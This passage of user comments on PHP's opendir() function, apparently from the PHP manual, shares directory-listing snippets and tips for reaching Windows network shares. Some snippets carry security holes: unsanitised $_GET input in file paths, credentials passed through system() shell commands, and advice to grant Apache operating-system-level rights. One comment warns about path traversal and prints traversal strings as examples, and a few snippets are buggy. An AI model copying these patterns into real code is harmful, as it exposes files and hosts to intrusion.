        while(false !== ($filename = readdir($folder_handle))) {
            if(!in_array($filename, $exclude_array)) {
                if(is_dir($directory_base_path . $filename . "/")) {
                    if($recursive && strcmp($filename, ".")!=0 && strcmp($filename, "..")!=0 ){ // prevent infinite recursion
                        error_log($directory_base_path . $filename . "/");
                        $result_list[$filename] = directory_list("$directory_base_path$filename/", $filter_dir, $filter_files, $exclude, $recursive);
                    }elseif(!$filter_dir){
                        $result_list[] = $filename;
                    }
                }elseif(!$filter_files){
                    $result_list[] = $filename;
                }
            }
        }
        closedir($folder_handle);
        return $result_list;
    }
}
?>
diego at moon-sand dot net 17-Oct-2009 01:49
Correction on the previous function. Was missing full path on recursive line.

<? function file_array($path, $exclude = ".|..", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                $result[] = $filename;
            }
        }
    }
    return $result;
}
?>
olivernassar.com 03-Aug-2009 10:46
Hopefully this helps someone else. Returns a list of all the files in the directory and any subdirectories.
Excludes files/folders that are in the $exempt array. Can modifiy it so files aren't passed by reference fairly easily.

<?php

    function getFiles($directory,$exempt = array('.','..','.ds_store','.svn'),&$files = array()) {
        $handle = opendir($directory);
        while(false !== ($resource = readdir($handle))) {
            if(!in_array(strtolower($resource),$exempt)) {
                if(is_dir($directory.$resource.'/'))
                    array_merge($files,
                        self::getFiles($directory.$resource.'/',$exempt,$files));
                else
                    $files[] = $directory.$resource;
            }
        }
        closedir($handle);
        return $files;
    }

?>
Anonymous 24-Jul-2009 05:42
If you want to iterate through a directory, have a look at the SPL DirectoryIterator:
http://php.net/manual/class.directoryiterator.php
Madog Llwyd 10-May-2009 02:22
A simple piece to open a directory and display any files with a given extension. Great for things like newsletters, score sheets or the like where you just want to make it easy on the user - they just dump in the file with the correct extension and it's done. A link is given to the file which opens up in a new window.

<?php
  $current_dir = "$DOCUMENT_ROOT"."dirname/";    //Put in second part, the directory - without a leading slash but with a trailing slash!
  $dir = opendir($current_dir);        // Open the sucker

  echo ("<p><h1>List of available files:</h1></p><hr><br />");
  while ($file = readdir($dir))            // while loop
    {
    $parts = explode(".", $file);                    // pull apart the name and dissect by period
    if (is_array($parts) && count($parts) > 1) {    // does the dissected array have more than one part
        $extension = end($parts);        // set to we can see last file extension
        if ($extension == "ext" OR $extension == "EXT")    // is extension ext or EXT ?
             echo "<a href=\"$file\" target=\"_blank\"> $file </a><br />";    // If so, echo it out else do nothing cos it's not what we want
        }
    }
  echo "<hr><br />";
  closedir($dir);        // Close the directory after we are done
?>
DaveRandom 18-Apr-2009 06:08
A couple of notes on Matt's posts on Windows Network Drives:

Since the system() command writes the output of the executed shell command straight to the output buffer, if you wish to hide the return of the mapping command (i.e. "The command completed succesfully" or an error message) from a web browser, you need to alter the command that is sent to the shell so that the output of that command is hidden.

You probably thinking "why not just use exec()?", and it's a reasonable question, but for some reason it doesn't always work - I guess it's another NT user permissions issue. If you want to guarantee you app will work with no messing around on the host system, use the system() command.

In the Windows command shell, you can hide the output of a command by sending both the output (1) and error (2) messages to "nul" using pipes, in other words ">nul 2>&1" on the end of the command. The username and password order in the "net use..." command needs switching in Matt's post.

Here (http://networkm.co.uk/static/drive.html) is a function I wrote to dynamically choose which drive letter to use, based on what is currently mapped and accessible to PHP.

<?php

// Define the parameters for the shell command
$location = "\\servername\sharename";
$user = "USERNAME";
$pass = "PASSWORD";
$letter = "Z";

// Map the drive
system("net use ".$letter.": \"".$location."\" ".$pass." /user:".$user." /persistent:no>nul 2>&1");

// Open the directory
$dir = opendir($letter.":/an/example/path")

...

?>
Richard Bronosky 12-Mar-2009 06:14
The easiest way to get a dir listing and sort it is to exec() out to ls (eg:'ls -t'). But, that is considered "unsafe". My hosting company finally caught me doing it so here is my fastest solution. (Lucky for me each file is created with a Unix Timestamp at the end of the name and no other numbers in it.)

<?php
#exec('ls -t ./images/motion_detection/', $files); # They outlawed exec, so now I have to do it by hand.
if ($handle = opendir('./images/motion_detection/')) {
    $files=array();
    while (false !== ($file = readdir($handle))) {
        $files[$file] = preg_replace('/[^0-9]/', '', $file); # Timestamps may not be unique, file names are.
    }
    closedir($handle);
    arsort($files);
    $files=array_keys($files);
}
?>

Before you go copying someone's bloat kitchen sink function/class, consider what you have and what you really need.
matt 21-Feb-2009 11:50
I tried it as in the post before described, but it still won't work. Maybe cause i'm using an Apache-Server on Windows 2003 Server.

Now, i found a way that it works and i got access to the share. First of all, you need to set the run user for Apache to a user that has access to the share (see in post before).
Then map your drive in the php script before you read the dir:

system('net use K: \\servername\sharename /user:username password /persistent:no');

$share = opendir('\\\\servername\\sharename');
....
Post from everything2 dot com 06-Dec-2008 08:54
when you run Apache as a service on your Windows computer, it chooses to run as the LocalSystem account by default (usually SYSTEM). The LocalSystem account has no network privileges whatsoever which, while no doubt a good thing, makes it impossible to access networked resources (such as a shared drive) in your Apache service.

First, you have to change the user the Apache service runs as.
Go to your Services panel (Start -> Run -> "services.msc").
Find the Service labeled Apache, right-click, and hit Properties.
Choose the "Log On" tab.
Presumably you'll see that Apache is set up to run as the Local System Account. You'll want to change this to the second option, "This account", and then fill in the details of the User account you would like Apache to run under.
Some sites tell you to create a special Apache-based user account just for this occasion. It's not a bad idea, but then you have to make sure it has all of the proper permissions that an Apache user would need, such as read/write to to htdocs and the .conf and .log files, and permissions to log on as a service, etc etc - as well as the permissions to access the network resource you're trying to get to in the first place.
In light of that process, I chose to just run it under my own account instead. Once you get it working, you can go back and create that special account.
Hit "Apply" - it'll pop up a box saying you need to restart Apache to take effect, but hold off on that for a moment.
This is the tricky part: you have to give the user (the one you're running Apache as) permissions to act as part of the OS.
Go to the Local Security Policy panel (Start -> Run -> "secpol.msc").
Under the navigation section in the left sidebar, choose Local Policies -> User Rights Assignments.
In the right-hand frame, double-click the item "Act as part of the operating system" to open up its properties.
Select "Add User or Group, Enter the appropriate user in the box provided, and hit "OK."
At this point, you are technically complete - Apache can now do the same things to the network resource that your user can - read, write, execute, whatever. However, in my case, I was trying to create an actual readable resource, so I edited my Apache config file to create an alias to my share.
Open up your Apache configuration file. For most people it's httpd.conf in the conf subdirectory of your Apache install directory.
Add the following text to your config file (obviously substituting your UNC for "//servername/sharename" and renaming ALIAS_DIRECTORY to whatever you'd like):

Alias /ALIAS_DIRECTORY "//servername/sharename"

<Directory "//servername/sharename">
    Options Indexes
    AllowOverride None
    Order allow,deny
    Allow from all
</Directory
The other thing that is tricky and caught me up is that unlike Windows UNCs, the Apache config file requires forward slashes, not backslashes. So if you're copying the UNC directly from Windows, you'll have to turn all those slashes around.

Now you can restart your Apache service. Take a swing over to http://your.site.name/ALIAS_DIRECTORY and you should be able to view the network resource just fine.
php at uchange dot co dot uk 05-Dec-2008 06:36
Having spent an hour or so trying to get a complete list of files from a network share on Windows, I've given up (Apache 2.2 Win32, WinXP, PHP5 -> Windows 2000 R2).

Trying to use a mapped drive letter gives me an error and trying to use the UNC path works but is dog slow (it takes a couple of minutes to open and readdir() a directory with a couple of hundred files).

Using this code is fast and instant (you'll have to chop up the output yourself but so be it!)

$out = `dir $dir /B /S`;

If you don't need recursive subdirectories remove the /S from the command - for more details run 'dir /?' on Windows.

Hope this helps somebody in a similar fix!
archipel dot gb at online dot fr 22-Jun-2008 07:20
Here are two versions of the same function to list all files in a directory tree.

The first one is recursive (calls itself while going through subdirectories) :
<?php
function rec_listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    if( $dh = opendir($from))
    {
        while( false !== ($file = readdir($dh)))
        {
            // Skip '.' and '..'
            if( $file == '.' || $file == '..')
                continue;
            $path = $from . '/' . $file;
            if( is_dir($path) )
                $files += rec_listFiles($path);
            else
                $files[] = $path;
        }
        closedir($dh);
    }
    return $files;
}
?>

The second one is iterative (uses less memory) :
<?php
function listFiles( $from = '.')
{
    if(! is_dir($from))
        return false;

    $files = array();
    $dirs = array( $from);
    while( NULL !== ($dir = array_pop( $dirs)))
    {
        if( $dh = opendir($dir))
        {
            while( false !== ($file = readdir($dh)))
            {
                if( $file == '.' || $file == '..')
                    continue;
                $path = $dir . '/' . $file;
                if( is_dir($path))
                    $dirs[] = $path;
                else
                    $files[] = $path;
            }
            closedir($dh);
        }
    }
    return $files;
}
?>
The iterative version should be a little faster most of the time, but the big difference is in the memory usage.

Here is also a profiling function (works in php5 only) :
<?php
function profile( $func, $trydir)
{
    $mem1 = memory_get_usage();
    echo '<pre>-----------------------
Test run for '.$func.'() ...
'; flush();

    $time_start = microtime(true);
    $list = $func( $trydir);
    $time = microtime(true) - $time_start;

    echo 'Finished : '.count($list).' files</pre>';
    $mem2 = memory_get_peak_usage();

    printf( '<pre>Max memory for '.$func.'() : %0.2f kbytes
Running time for '.$func.'() : %0.f s</pre>',
    ($mem2-$mem1)/1024.0, $time);
    return $list;
}
?>
kdouglas at satarah dot com 16-May-2008 01:22
Breadth-first-search (BFS) for a file or directory (vs. Depth-first-search)
http://en.wikipedia.org/wiki/Breadth-first_search

<?php

// Breadth-First Recursive Directory Search, for a File or Directory
// with optional black-list paths and optional callback function.
//
// $root -- is the relative path to the start-of-search directory
// $file -- is the qualified file name: 'name.ext' EX: 'data.xml'
//    (or) $file -- is the target directory name EX: 'xml_files'
// $callback -- is an optional function name and will be passed all
//    matching paths EX: 'my_func', instead of exiting on first match
// $omit -- is an optional array of exclude paths -- relative to root
//    To use $omit but not $callback, pass NULL as the $callback argument
//
// TESTING VALUES FOLLOW ...

function my_func ( $path ) {
  print "<strong>$path</strong><br>\n";
}

$root = '../public_html';
$file = 'data.xml';
$callback = 'my_func';
$omit = array( 'include/img', 'include/css', 'scripts' );

//print breadth_first_file_search ( $root, $file );
//print breadth_first_file_search ( $root, $file, $callback );
//print breadth_first_file_search ( $root, $file, NULL, $omit );
print breadth_first_file_search ( $root, $file, $callback, $omit );

function breadth_first_file_search ( $root, $file, $callback = NULL, $omit = array() ) {
  $queue = array( rtrim( $root, '/' ).'/' ); // normalize all paths
  foreach ( $omit as &$path ) { // &$path Req. PHP ver 5.x and later
    $path = $root.trim( $path, '/' ).'/';
  }
  while ( $base = array_shift( $queue ) ) {
    $file_path = $base.$file;
    if ( file_exists( $file_path ) ) { // file found
      if ( is_callable( $callback ) ) {
        $callback( $file_path ); // callback => CONTINUE
      } else {
        return $file_path; // return file-path => EXIT
      }
    }
    if ( ( $handle = opendir( $base ) ) ) {
      while ( ( $child = readdir( $handle ) ) !== FALSE ) {
        if ( is_dir( $base.$child ) && $child != '.' && $child != '..' ) {
          $combined_path = $base.$child.'/';
          if ( !in_array( $combined_path, $omit ) ) {
            array_push( $queue, $combined_path);
          }
        }
      }
      closedir( $handle );
    } // else unable to open directory => NEXT CHILD
  }
  return FALSE; // end of tree, file not found
}

?>
info at myweb dot lu 15-May-2008 05:01
Read a Windows SMB Directory ;)

<?

function SMBMap($username, $password, $server, $dir) {
    $command = "mount -t smbfs -o username=$username,password=$password //$server/$dir /mnt/tmp";
    echo system($command);
}

function SMBRelease() {
    $command = "umount /mnt/tmp";
    echo system($command);
}

function GetFiles($dir) {
    $files = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($file = readdir($dh)) !== false) {
                $files[] = $file."{".filetype("$dir/$file")."}";
            }
            closedir($dh);
        }
    }
    return $files;
}

SMBMap("Daniel", "", "10.0.0.2", "Kram");
$any = GetFiles("/mnt/tmp");
SMBRelease();
print_r($any);

?>
Peter Hkansson 11-Dec-2007 06:01
Would you like to view your directories in your browser this script might come in handy.

<?php
$sub = ($_GET['dir']);
$path = 'enter/your/directory/here/';
$path = $path . "$sub";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
            if (substr($file, -4, -3) =="."){
            echo "$i. $file <br />";
            }else{
        echo "$i. <a href='?dir=$sub/$file'>$file</a><br />";
          }
        $i++;
    }
}
closedir($dh);
?>
mana at averna dot com 08-Dec-2007 12:02
I was trying to access network drives using this opendir function. I read so many posts saying that it was almost impossible to access a network drive and finally, I found the answer; there are 2 steps to be followed to access a network drive with PHP either on the same machine or another machine.

But first of all, here's the error I was getting:
Warning: opendir(\\server\folder1\sub_folder) [function.opendir]: failed to open dir: No error in C:\wamp\www\PMOT\v0.1\REPORT_MENU\index.php on line 17

Firstly, one must make sure that the folder \\server\folder1\sub_folder can be accessed by a user, let's say USER_TEST with a password PASS_TEST. By setting properties to this folder, one can add this given user with the correct password (USER_TEST with PASS_TEST).

Secondly, the APACHE service must be set-up to take this user into account. If no user is specified, APACHE uses an anonymous user and this is where the problem/error message is coming from. One must go in control panel->administrative tools->services. One will see the list of services and must look for APACHE with Apache/2.X.X in the description. (For Wampserver, it will be called wampapache, and so on!) Right click on that and pop up the properties screen. In the tab LOG ON, there are 2 options: local system account and "this account" which will be a user specified account. This is where one must specify the USER_TEST and PASS_TEST.

Following these steps worked perfectly for me but if either the folder privileges or apache log on user is disabled, then I get the initial aforementioned error message.

Anyways, I hope this can help out someone!

Cheers!

Marc
MetaNull 04-Oct-2007 09:04
How to find files in a directory, using regular expressions (case-sensitive or not)

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));

// Search for text files
$results = m_find_in_dir( $root, ".*\.txt" );
if( false === $results ) {
    echo "'{$sourcepath}' is not a valid directory\n";
} else {
    print_r( $results );
}

/**
 * Search for a file maching a regular expression
 *
 * @param string $root Root path
 * @param string $pattern POSIX regular expression pattern
 * @param boolean $recursive Set to true to walk the subdirectories recursively
 * @param boolean $case_sensitive Set to true for case sensitive search
 * @return array An array of string representing the path of the matching files, or false in case of error
 */
function m_find_in_dir( $root, $pattern, $recursive = true, $case_sensitive = false ) {
    $result = array();
    if( $case_sensitive ) {
        if( false === m_find_in_dir__( $root, $pattern, $recursive, $result )) {
            return false;
        }
    } else {
        if( false === m_find_in_dir_i__( $root, $pattern, $recursive, $result )) {
            return false;
        }
    }

    return $result;
}

/**
 * @access private
 */
function m_find_in_dir__( $root, $pattern, $recursive, &$result ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        if( false !== @ereg( $pattern, "{$root}/{$file}" )) {
            $result[] = "{$root}/{$file}";
        }
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_find_in_dir__( "{$root}/{$file}", $pattern, $recursive, $result );
        }
    }
    closedir( $dh );
    return true;
}

/**
 * @access private
 */
function m_find_in_dir_i__( $root, $pattern, $recursive, &$result ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        if( false !== @eregi( $pattern, "{$root}/{$file}" )) {
            $result[] = "{$root}/{$file}";
        }
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_find_in_dir__( "{$root}/{$file}", $pattern, $recursive, $result );
        }
    }
    closedir( $dh );
    return true;
}

?>
MetaNull 04-Oct-2007 08:39
An other way to recursively walk a directory and it's content, applying a callback to each file.

Exemple: Update the last modification time of each file in a folder

<?php

clearstatcache();

$sourcepath = "C:/WINDOWS/TEMP";

// Replace \ by / and remove the final / if any
$root = ereg_replace( "/$", "", ereg_replace( "[\\]", "/", $sourcepath ));
// Touch all the files from the $root directory
if( false === m_walk_dir( $root, "m_touch_file", true )) {
    echo "'{$root}' is not a valid directory\n";
}

// Walk a directory recursivelly, and apply a callback on each file
function m_walk_dir( $root, $callback, $recursive = true ) {
    $dh = @opendir( $root );
    if( false === $dh ) {
        return false;
    }
    while( $file = readdir( $dh )) {
        if( "." == $file || ".." == $file ){
            continue;
        }
        call_user_func( $callback, "{$root}/{$file}" );
        if( false !== $recursive && is_dir( "{$root}/{$file}" )) {
            m_walk_dir( "{$root}/{$file}", $callback, $recursive );
        }
    }
    closedir( $dh );
    return true;
}

// if the path indicates a file, run touch() on it
function m_touch_file( $path ) {
    echo $path . "\n";
    if( !is_dir( $path )) {
        touch( $path );
    }
}

?>
arjan at wepwn dot nl 09-Sep-2007 09:03
A simple function to count all the files and/or dirs inside a dir.
With optional extention when counting files.

Index of /
Some text file.txt
files/
num_files.phps
test.php

<?php
function num_files($dir, $type, $ext="")
{
// type 1: files only
// type 2: direcories only
// type 3: files and directories added
// type 4: files and directories separated with a space

    if (!isset($dir) OR empty($dir))
    {
        echo '<b>Syntax error:</b> $dir value empty.';
        exit;
    }

    $num_files = 0;
    $num_dirs = 0;
    switch($type)
    {
        case 1: // count only files, not dirs
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_file($file) AND $file != "." AND $file != "..")
                    {
                        if (isset($ext) AND !empty($ext))
                        {
                            $extension = end(explode(".", $file));
                            if ($ext == $extension)
                            {
                                $num_files++;
                            }
                        }
                        else
                        {
                            $num_files++;
                        }
                    }
                }
                closedir($dir);
                $total = $num_files;
            }
        break;

        case 2: // count only dirs, not files
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_dir($file) AND $file != "." AND $file != "..")
                    {
                        $num_dirs++;
                    }
                }
                closedir($dir);
                $total = $num_dirs;
            }
        break;

        case 3: // count files PLUS dirs in once variable
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_dir($file) OR is_dir($file))
                    {
                        if ($file != "." AND $file != "..")
                        {
                            $num_files++;
                        }
                    }
                }
                closedir($dir);
                $total = $num_files;
            }
        break;

        case 4: // count files AND dirs separately
            if ($dir = @opendir($dir))
            {
                while (($file = readdir($dir)) !== false)
                {
                    if(is_file($file) AND $file != "." AND $file != "..")
                    {
                        $num_files++;
                    }

                    if(is_dir($file) AND $file != "." AND $file != "..")
                    {
                        $num_dirs++;
                    }
                }
                closedir($dir);
                $total = $num_files." ".$num_dirs;
            }
        break;

        default:
            echo '<b>Syntax error:</b> $type value empty.';
        break;
    }

    return $total;
}

echo num_files($_SERVER['DOCUMENT_ROOT'], 1, "php"). " file(s) met php extention<br /> ";
echo num_files($_SERVER['DOCUMENT_ROOT'], 1). " file(s)<br />";
echo num_files($_SERVER['DOCUMENT_ROOT'], 2). " dir(s)<br />";
echo num_files($_SERVER['DOCUMENT_ROOT'], 3). " file(s) + dir(s)<br />";
$nummers = explode(" ", num_files($_SERVER['DOCUMENT_ROOT'], 4));
echo reset($nummers) ." file(s) en ". end($nummers) ." dir(s)";
?>

will output:
1 file(s) with php extention
3 file(s)
1 dir(s)
1 file(s) + dir(s)
3 file(s) en 1 dir(s)
lolwut 13-May-2007 03:00
I sometimes find this useful. Hope you will too.

<?php
//list_by_ext: returns an array containing an alphabetic list of files in the specified directory ($path) with a file extension that matches $extension

function list_by_ext($extension, $path){
    $list = array(); //initialise a variable
    $dir_handle = @opendir($path) or die("Unable to open $path"); //attempt to open path
    while($file = readdir($dir_handle)){ //loop through all the files in the path
        if($file == "." || $file == ".."){continue;} //ignore these
        $filename = explode(".",$file); //seperate filename from extenstion
        $cnt = count($filename); $cnt--; $ext = $filename[$cnt]; //as above
        if(strtolower($ext) == strtolower($extension)){ //if the extension of the file matches the extension we are looking for...
            array_push($list, $file); //...then stick it onto the end of the list array
        }
    }
    if($list[0]){ //...if matches were found...
    return $list; //...return the array
    } else {//otherwise...
    return false;
    }
}

//example usage
if($win32_exectuables = list_by_ext("exe", "C:\WINDOWS")){
    var_dump($win32_exectuables);
} else {
    echo "No windows executables found :(\n";
}

?>
Michael mt1955 (a) gmail.com 11-May-2007 04:59
# simple directory walk with callback function

<?php
function callbackDir($dir)
{
   # do whatever you want here
   echo "$dir\n";
}

function walkDir($dir,$fx)
{
  $arStack = array();
  $fx($dir);
  if( ($dh=opendir($dir)) )
  { while( ($file=readdir($dh))!==false )
    { if( $file=='.' || $file=='..' ) continue;
      if( is_dir("$dir/$file") )
      { if( !in_array("$dir/$file",$arStack) ) $arStack[]="$dir/$file";
      }
    }
    closedir($dh);
  }
  if( count($arStack) )
  { foreach( $arStack as $subdir )
    { walkDir($subdir,$fx);
    }
  }
}

walkDir($root,callBackDir);
?>
Dblurred 08-May-2007 02:04
In reponse to Tozeiler.  Nice short directory dump.  However, that displays the "." and "..".  This removes those.  It also makes an ordered list in case I needed to be on the phone while looking at the page.  Easy to call out.

<?php

$path = "your path";
$dh = opendir($path);
$i=1;
while (($file = readdir($dh)) !== false) {
    if($file != "." && $file != "..") {
        echo "$i. <a href='$path/$file'>$file</a><br />";
        $i++;
    }
}
closedir($dh);
?>
NerdyDork 08-Feb-2007 05:36
Here is a snippet to create a site map of all html files in a folder:

<?php
    // read all html file in the current directory
    if ($dh = opendir('./')) {
        $files = array();
        while (($file = readdir($dh)) !== false) {
            if (substr($file, strlen($file) - 5) == '.html') {
                array_push($files, $file);
            }
        }
        closedir($dh);
    }

    // Sort the files and display
    sort($files);
    echo "<ul>\n";
    foreach ($files as $file) {
        $title = Title($file);
        echo "<li><a href=\"$file\" title=\"$title\">$title</a></li>\n";
    }
    echo "</ul>\n";

    // Function to get a human readable title from the filename
    function Title($filename) {
        $title = substr($filename, 0, strlen($filename) - 5);
        $title = str_replace('-', ' ', $title);
        $title = ucwords($title);
        return $title;
    }
?>
frogstarr78 at yahoo dot com 21-Jan-2007 09:30
Here's a function that will recrusively turn a directory into a hash of directory hashes and file arrays, automatically ignoring "dot" files.

<?php
function hashify_directory($topdir, &$list, $ignoredDirectories=array()) {
    if (is_dir($topdir)) {
        if ($dh = opendir($topdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectories) > -1) && preg_match('/^\./', $file) == 0) {
                    if (is_dir("$topdir$file")) {
                        if(!isset($list[$file])) {
                            $list[$file] = array();
                        }
                        ksort($list);
                        hashify_directory("$topdir$file/", $list[$file]);
                    } else {
                        array_push($list, $file);
                    }
                }
            }
            closedir($dh);
        }
    }
}
?>

e.g.
<?php
$public_html["StudentFiles"] = array();
hashify_directory("StudentFiles/", $public_html["StudentFiles"]);
?>
on the directory structure:
./StudentFiles/tutorial_01/case1/file1.html
./StudentFiles/tutorial_01/case1/file2.html
./StudentFiles/tutorial_02/case1/file1.html
./StudentFiles/tutorial_02/case2/file2.html
./StudentFiles/tutorial_03/case1/file2.html
etc...
becomes:
<?php
print_r($public_html);
/*
outputs:
array(
  "StudentFiles" => array (
        "tutorial_01" => array (
              "case1" => array( "file1.html", "file2.html")
        ),
        "tutorial_02" => array (
              "case1" => array( "file1.html"),
              "case2" => array( "file2.html")
        ),
       "tutorial_03" => array (
              "case1" => array( "file2.html")
       )
  )
)
*/
?>
I'm using it to create a tree view of a directory.
phpguy at mailstop dot yogelements dot omitme dot com 13-Dec-2006 10:40
An issue that I ran into is that opendir() could care less if you've got server authentication set on sub directories and so any such authentication is bypassed completely when accesses in this way. I did solve it for my application of a pretty file manager, by redirecting to all sub directories thusly:
$fdir = "./subdirectory_I_want_to_visit/";
if ($fdir != './') { //basically where we are or the parent
    //redirect the browser to force authentication check on any subdirectories
    header("Location: http://my.domain.com".dirname($_SERVER["PHP_SELF"]).substr($fdir,2));
    exit;
} else {
    $dir = opendir($fdir);
}
Christian 26-Jul-2006 12:10
Pointing on the previous post, I'd like to say the following.

You can use opendir on all valid (existant and reachable) folders.
This counts not only for windows but also for linux.
Under linux, you can also read root folders etc.

To avoid access to non-public data, you should check the given parameter for opendir before executing opendir.

Let's say you have this:

/home/users/mrsmith/
/home/users/mrsmith/info.txt
/home/users/mrsmith/test/photo.jpg
/home/users/mradmin/private.txt

Now you don't want mrsmith to access mradmin's folders/files.
In that case you could/should define the path where the data MUST be inside.

Attention:
Don't check the data with substr though, it's not a secure solution.
Exploit example: /home/users/mrsmith/../mradmin/
Exploit example2: /home/users/mrsmith/../../../../../../../../../../../../../dev/

I'd do a case sensitive regex match.
So after the first folder there may not be a subfolder named ".." because that would jump one folder back.

I hope this isn't too offtopic or so but I think it's important to think of that when creating file systems.
tim2005 13-May-2006 02:04
Hello,

A friend of mine is running a webhost, I think i found a security leak with this script:

<?php
function select_files($dir, $label = "", $select_name, $curr_val = "", $char_length = 30) {
    $teller = 0;
    if ($handle = opendir($dir)) {
        $mydir = ($label != "") ? "<label for=\"".$select_name."\">".$label."</label>\n" : "";
        $mydir .= "<select name=\"".$select_name."\">\n";
        $curr_val = (isset($_REQUEST[$select_name])) ? $_REQUEST[$select_name] : $curr_val;
        $mydir .= ($curr_val == "") ? "  <option value=\"\" selected>...\n" : "<option value=\"\">...\n";
        while (false !== ($file = readdir($handle))) {
            $files[] = $file;
        }
        closedir($handle);
        sort($files);
        foreach ($files as $val) {
            if (is_file($dir.$val)) { // show only real files (ver. 1.01)
                $mydir .= "    <option value=\"".$val."\"";
                $mydir .= ($val == $curr_val) ? " selected>" : ">";
                $mydir .= (strlen($val) > $char_length) ? substr($val, 0, $char_length)."...\n" : $val."\n";
                $teller++;
            }
        }
        $mydir .= "</select>";
    }
    if ($teller == 0) {
        $mydir = "No files!";
    } else {
        return $mydir;
    }
}

echo select_files("C:/winnt/", "", "", "", "60");
?>

Now i can see hist files in his windows dir. Is this a leak? and is it fixable? I'll report this as bug too!

Tim2005
tozeiler 15-Apr-2006 10:34
"opendir" said:
------------------------------------------------------------------

23-Jan-2006 08:04
I Just wanted a directory list and a clickable link to download the files

<snip>
------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {

<snip complicated function contents>

------------------------------------------------------------------
Here's a more straightforward way to linkify $path/files:

<?php

echo "<h1>Directory Overzicht:</h1>";

$dh = opendir($path);
while (($file = readdir($dh)) !== false) {
    echo "<a href='$path/$file'>$file</a><br />";
}
closedir($dh);

?>
23-Jan-2006 04:04
I Just wanted a directory list and a clickable link to download the files because my plesk server does not give me this function. I edited the script a little bit.

Many thanks from a script-noob

------
<?
echo ("<h1>Directory Overzicht:</h1>");

function getFiles($path) {
   //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
   //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
   //relative to each other in the order presented by readdir()
   $files = array();
   $fileNames = array();
   $i = 0;

   if (is_dir($path)) {
       if ($dh = opendir($path)) {
           while (($file = readdir($dh)) !== false) {
               if ($file == "." || $file == "..") continue;
               $fullpath = $path . "/" . $file;
               $fkey = strtolower($file);
               while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
               $a = stat($fullpath);
               $files[$fkey]['size'] = $a['size'];
               if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
               else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
               else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
               else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
               $files[$fkey]['name'] = $file;
               $files[$fkey]['type'] = filetype($fullpath);
               $fileNames[$i++] = $fkey;
           }
           closedir($dh);
       } else die ("Cannot open directory:  $path");
   } else die ("Path is not a directory:  $path");
   sort($fileNames,SORT_STRING);
   $sortedFiles = array();
   $i = 0;
   foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

   return $sortedFiles;
}

$files = getFiles("./");
foreach ($files as $file) print "&nbsp;&nbsp;&nbsp;&nbsp;<b><a href=\"$file[name]\">$file[name]</a></b><br>\n";
?>
mstabile75 at gmail dot com 28-Dec-2005 05:26
In my previous post I ran into a problem with the "global" definition of $directorylist.  If I called the function more than once on the same page it would combine the file lists. I looked at Lasse Dalegaard's example and used the following solution.

remove global definition
     global $directorylist;

REPLACE
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
   filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
}
?>
WITH
<?
if ((($maxlevel) == "all") or ($maxlevel > $level)) {
    $list2 = filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
    if(is_array($list2)) {
        $directorylist = array_merge($directorylist, $list2);
    }
}
?>
mstabile75 at gmail dot com 27-Dec-2005 04:04
<?php
/* The below function will list all folders and files within a directory
It is a recursive function that uses a global array.  The global array was the easiest
way for me to work with an array in a recursive function
*This function has no limit on the number of levels down you can search.
*The array structure was one that worked for me.
ARGUMENTS:
$startdir => specify the directory to start from; format: must end in a "/"
$searchSubdirs => True/false; True if you want to search subdirectories
$directoriesonly => True/false; True if you want to only return directories
$maxlevel => "all" or a number; specifes the number of directories down that you want to search
$level => integer; directory level that the function is currently searching
*/
function filelist ($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1) {
    //list the directory/file names that you want to ignore
    $ignoredDirectory[] = ".";
    $ignoredDirectory[] = "..";
    $ignoredDirectory[] = "_vti_cnf";
    global $directorylist;    //initialize global array
    if (is_dir($startdir)) {
        if ($dh = opendir($startdir)) {
            while (($file = readdir($dh)) !== false) {
                if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (filetype($startdir . $file) == "dir") {
                       //build your directory array however you choose;
                       //add other file details that you want.
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
